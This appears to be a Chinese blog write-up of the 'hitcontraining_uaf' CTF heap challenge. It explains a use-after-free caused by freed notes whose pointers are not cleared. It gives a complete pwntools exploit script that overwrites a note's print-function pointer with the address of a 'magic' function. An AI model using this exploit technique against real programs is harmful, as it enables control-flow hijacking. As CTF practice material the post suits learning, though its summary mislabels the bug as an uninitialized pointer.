hitcontraining_uaf

本文描述了一位安全研究人员在进行复健pwn练习时,解决一个未初始化指针(use-after-free,uaf)漏洞的过程。通过分析addnote函数和堆结构,发现delete后未清零导致的uaf。利用此漏洞,作者计划将Printnote替换为magic函数,通过添加和删除特定大小的堆块来操纵内存。在ida中遇到magic函数参数问题,最终使用gdb进行调试并成功触发payload执行。
摘要由CSDN通过智能技术生成

复健pwn的第一天,做的是一个uaf的题目,较为简单。

hitcontraining_uaf

一看就是菜单题,看看add note函数

可以看出来这个堆结构比较奇特

看delete可以看出free掉堆之后并没有将其置零,所以不管是notelist还是堆中都存在有原来的地址。所以存在uaf漏洞,接着可以从函数列表中找到magic函数,所以,我们的思路就是将Printnote换成magic函数,调用print功能即可。

问题:有传参,但是ida中magic函数没有传参,然后调试的时候有四个参数很奇怪。

接着做题,那思路就是先add两个0x20的堆,然后再释放掉,再add一个8大小的堆,这个时候add填的内容就是改0中Printnote(因为没有置0),最后再Print(0)即可

from pwn import *
p=process('/home/hacker/Desktop/hacknote')
context(log_level='debug',arch='amd64',os='linux')

def allocated(size,content):
    p.sendlineafter("Your choice :",str(1))
    p.sendlineafter("Note size :",str(size))
    p.sendlineafter("Content :",content)

def delete(index):
    p.sendlineafter("Your choice :",str(2))
    p.sendlineafter("Index :",str(index))

def Print(index):
    p.sendlineafter("Your choice :",str(3))
    p.sendlineafter("Index :",str(index))

allocated(0x20,"aaaa")
allocated(0x20,"bbbb")

delete(0)
delete(1)

allocated(8,p32(0x8048945))

gdb.attach(p)
pause()

Print(0)

p.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值